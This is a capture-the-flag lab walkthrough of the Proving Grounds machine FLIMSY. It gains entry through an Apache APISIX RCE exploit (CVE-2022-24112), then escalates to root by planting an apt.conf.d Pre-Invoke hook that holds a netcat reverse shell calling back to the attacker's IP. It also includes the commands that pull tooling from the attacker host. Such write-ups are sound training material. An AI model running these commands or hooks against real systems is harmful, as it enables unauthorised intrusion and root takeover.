Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - FLIMSY

·1545 words·8 mins·
OFFSEC PG PRACTICE APISIX APT UPDATE APT.CONF.D
Table of Contents

Summary
#

On port 43500 there is an OpenResty web app server with a http-server-header: APISIX/2.8. This Apache API gateway functionality contains a remote code execution exploit (CVE-2022-24112). Using this exploit we get initial access as the franklin user. This user, as any user, has write access to the /etc/apt/apt.conf.d directory and there is a cronjob running apt-get update every minute as the root user. Using this knowledge we can write a custom script in this directory, that is run before the apt-get update command. This allows us to escalate our privileges to the root user.

Specifications
#

  • Name: FLIMSY
  • Platform: PG PRACTICE
  • Points: 7
  • Difficulty: Easy
  • System overview: Linux flimsy 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.225.220
  • OFFSEC provided credentials: None
  • HASH: local.txt:82dae336cf42150a8b326ec520a741e4
  • HASH: proof.txt:7a1adfd965a40f09efbee91de7ed08c3

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir flimsy && cd flimsy && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 25 19:07 .
drwxrwxr-x 77 kali kali 4096 Sep 25 19:07 ..
drwxrwxr-x  2 kali kali 4096 Sep 25 19:07 enum
drwxrwxr-x  2 kali kali 4096 Sep 25 19:07 exploits
drwxrwxr-x  2 kali kali 4096 Sep 25 19:07 files
drwxrwxr-x  2 kali kali 4096 Sep 25 19:07 tools
drwxrwxr-x  2 kali kali 4096 Sep 25 19:07 uploads

## set bash variable
ip=192.168.225.220

## ping target to check if it's online
ping $ip

PING 192.168.225.220 (192.168.225.220) 56(84) bytes of data.
64 bytes from 192.168.225.220: icmp_seq=1 ttl=61 time=25.6 ms
64 bytes from 192.168.225.220: icmp_seq=2 ttl=61 time=28.3 ms
^C
--- 192.168.225.220 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 25.551/26.940/28.329/1.389 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.225.220:22
Open 192.168.225.220:80
Open 192.168.225.220:3306
Open 192.168.225.220:43500
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 19:11 CEST
Initiating Ping Scan at 19:11
Scanning 192.168.225.220 [4 ports]
Completed Ping Scan at 19:11, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:11
Completed Parallel DNS resolution of 1 host. at 19:11, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:11
Scanning 192.168.225.220 [4 ports]
Discovered open port 3306/tcp on 192.168.225.220
Discovered open port 22/tcp on 192.168.225.220
Discovered open port 80/tcp on 192.168.225.220
Discovered open port 43500/tcp on 192.168.225.220
Completed SYN Stealth Scan at 19:11, 0.04s elapsed (4 total ports)
Nmap scan report for 192.168.225.220
Host is up, received echo-reply ttl 61 (0.023s latency).
Scanned at 2025-09-25 19:11:17 CEST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 61
80/tcp    open  http    syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
43500/tcp open  unknown syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh     syn-ack ttl 61
80/tcp    open  http    syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
43500/tcp open  unknown syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,3306,43500

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,43500 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp    open  http    syn-ack ttl 61 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Upright
|_http-server-header: nginx/1.18.0 (Ubuntu)
3306/tcp  open  mysql   syn-ack ttl 61 MySQL (unauthorized)
43500/tcp open  http    syn-ack ttl 61 OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: APISIX/2.8
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

43500/tcp open  http    syn-ack ttl 61 OpenResty web app server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: APISIX/2.8

On port 43500 there is an OpenResty web app server with a http-server-header: APISIX/2.8. Browsing to this port we see, there is an error message displayed 404 Route Not Found.

Searching online we can find an Apache APISIX remote code execution exploit (https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112) (CVE-2022-24112). Using this exploit we can get initial access as the franklin user in the /root directory. Odd, because we don’t have permissions in the directory.

## change directory
cd exploits

## download exploit
wget https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py   
--2025-09-25 19:23:39--  https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2681 (2.6K) [text/plain]
Saving to: ‘apisix-exploit.py’

apisix-exploit.py            100%[==============================================>]   2.62K  --.-KB/s    in 0s      

2025-09-25 19:23:39 (14.1 MB/s) - ‘apisix-exploit.py’ saved [2681/2681]

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175

## setup  listener
nc -lvnp 9001   
listening on [any] 9001 ...

## run the exploit
python3 apisix-exploit.py http://192.168.225.220:43500/ 192.168.45.175 9001

## catch the reverse shell
nc -lvnp 9001                                                  
listening on [any] 9001 ...
connect to [192.168.45.175] from (UNKNOWN) [192.168.225.220] 56402

## print current user
whoami
franklin

## print current working directory
pwd
/root

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/franklin/local.txt

## print `local.txt`
cat /home/franklin/local.txt
82dae336cf42150a8b326ec520a741e4

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/bin/script

## start the script binary, after that press CTRL+Z
/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
franklin@flimsy:/root$ cd /var/tmp
franklin@flimsy:/var/tmp$

## download `linpeas.sh` using the open port 8080
franklin@flimsy:/var/tmp$ wget http://192.168.45.175/linpeas.sh
--2025-09-25 17:35:09--  http://192.168.45.175/linpeas.sh
Connecting to 192.168.45.175:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                             linpeas.sh                                         78%[=============================================================linpeas.sh                                        100%[=============================================================================================================>] 939.29K  2.67MB/s    in 0.3s    

2025-09-25 17:35:09 (2.67 MB/s) - 'linpeas.sh' saved [961834/961834]

## set the execution bit
franklin@flimsy:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
franklin@flimsy:/var/tmp$ ./linpeas.sh

The linpeas.sh output shows there is a cronjob running this command apt-get update every minute as the root user, and the directory /etc/apt/apt.conf.d is writable. We can abuse this configuration by creating a custom script and run it before apt-get update, because we can write to /etc/apt/apt.conf.d/, we can add the following to a file in /etc/apt/apt.conf.d/: apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.175 9001 >/tmp/f"};. This should give us a reverse shell as the root user when the cronjob triggers the apt-get update command.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.175

## setup a listener
nc -lvnp 9001                                                  
listening on [any] 9001 ...

## 
franklin@flimsy:/var/tmp$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.175 9001 >/tmp/f"};' > /etc/apt/apt.conf.d/revshell


## catch the reverse shell
nc -lvnp 9001                                                  
listening on [any] 9001 ...
connect to [192.168.45.175] from (UNKNOWN) [192.168.225.220] 57822
/bin/sh: 0: can't access tty; job control turned off
#

## print current user
# whoami
root

## print `proof.txt`
# cat /root/proof.txt
7a1adfd965a40f09efbee91de7ed08c3

References
#

[+] https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112
[+] https://raw.githubusercontent.com/M4xSec/Apache-APISIX-CVE-2022-24112/refs/heads/main/apisix-exploit.py
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - BANZAI
·2971 words·14 mins
OFFSEC PG PRACTICE HYDRA GOBUSTER MYSQL MYSQL UDF GCC
FTP on port 21 with weak credentials holds web dirirectory for port 8295. Upload PHP shell to gain initial access. MySQL UDF exploit sets SUID on bash and allows us to escalates to root.
OFFSEC - Proving Grounds - WHEELS
·1818 words·9 mins
OFFSEC PG PRACTICE XPATH HASHCAT
Wheels CarService website on port 80 has XPATH injection vulnerability which leads to gaining credentials for initial access. SUID on a binary with path traversal vulnerability to dump /etc/shadow. Crack hash with hashcat to gain root.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.
OFFSEC - Proving Grounds - DEPLOYER
·3782 words·18 mins
OFFSEC PG PRACTICE FTP PHP PHP SERIALIZE DOCKER DOCKER BUILD
Anonymous FTP on port 21 gives site config and PHP code. Exploit LFI, drop PHP shell, gain initial access. Upload SSH key, use sudo docker build to get /opt/id_rsa.bak and escalate to root.
OFFSEC - Proving Grounds - CONVERTEX
·2078 words·10 mins
OFFSEC PG PRACTICE XXE SELENIUM CHISEL
XXE in web application on port 5000 and leaks gustavo SSH private key for initial access. Forward selenium port 4444 with chisel, exploit with Python script to gain root.